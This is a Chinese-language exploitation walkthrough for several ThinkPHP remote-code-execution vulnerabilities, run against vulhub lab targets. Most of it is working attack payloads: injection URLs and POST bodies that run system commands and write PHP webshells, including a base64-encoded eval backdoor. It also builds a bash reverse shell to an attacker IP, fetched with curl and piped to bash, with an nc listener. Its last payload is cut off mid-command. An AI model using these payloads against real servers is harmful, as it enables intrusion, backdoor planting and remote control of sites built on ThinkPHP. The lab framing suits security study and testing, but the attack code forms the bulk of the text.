Thinkphp 是一种开源框架。是一个由国人开发的支持windows/Unix/Linux 等服务器环境的轻量级PHP开发框架。
很多cms就是基于 thinkphp 二次开发的,所以 thinkphp 出问题的话,会影响很多基于 thinkphp开发的网站。
版本 | 漏洞类型 |
---|---|
ThinkPHP3.2.3 | 缓存函数设计缺陷可导致Getshell |
ThinkPHP3.2.3 | 最新版update注入漏洞 |
ThinkPHP3.2.X | find_select_delete注入 |
ThinkPHP3.X | order_by注入漏洞 |
ThinkPHP5.0.X | sql注入漏洞 |
ThinkPHP5.0.10 | 缓存函数设计缺陷可导致Getshell |
ThinkPHP5 | SQL注入漏洞&&敏感信息泄露 |
ThinkPHP5.X | order_by注入漏洞 |
ThinkPHP5.X | 远程代码执行 |
漏洞产生的原因是因为ThinkPHP 2.x版本中,使用preg_replace (‘正则规则’,‘替换字符’,‘目标字符’)的/e(可执行模式)模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 2.x
ThinkPHP 3.0
vulhub
docker-compose up -d
docker ps
访问靶场地址 http://yourip:8080
使用POC验证漏洞
http://192.168.88.130:8080/index.php?s=/index/index/xxx/${@phpinfo()}
phpinfo被执行成功,那么试一试webshell
http://192.168.88.130:8080/index.php?s=/index/index/xxx/${${@eval($_POST[111])}}
蚁剑连接
ThinkPHP5.0.23版本的漏洞:获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
Thinkphp 5.0.0~ 5.0.23
vulhub
docker-compose up -d
docker ps
访问靶场地址
判断是否存在漏洞,访问/index.php?s=captcha页面,会出现报错
利用post请求,执行whoami命令,id,pwd等系统命令,都会回显到页面上来
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
使用echo命令写入webshell,需要将一句话木马进行base64编码
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n
YWE8P3BocCBAZXZhbCgkX1BPU1RbJ2NtZCddKTs/PmM= | base64 -d > shell.php
发送post请求,访问shell.php 文件
进入服务端查看是否上传成功
bash反弹shell操作
在攻击机新建一个xx.sh文件,写入bash反弹shell的命令。
bash -i >& /dev/tcp/192.168.88.128/6666 0>&1
#IP为攻击机的ip,端口自定义
攻击机上开启http服务保证,目标机器可以访问到xx.sh反弹shell文件
python3 -m http.server 80
攻击机开启监听6666端口
nc -lvvp 6666
使用post请求,发送以下poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.88.128/thinkphp5.0.23.sh | bash
查看监听端口,发现成功反弹
框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。
ThinkPHP 5.0.5-5.0.22
5.1.0-5.1.30
vulhub
docker-compose up -d
docker ps
访问靶场,即可搭建成功
写入POC
index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=-1
远程命令执行,POC
/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&v
ars[1][]=whoami
写入webshell
/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put contents&vars[1][]=shell.php&vars[1][]=
/index.php?
s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n
bash反弹shell命令得base64编码 | base64 -d > shell9.php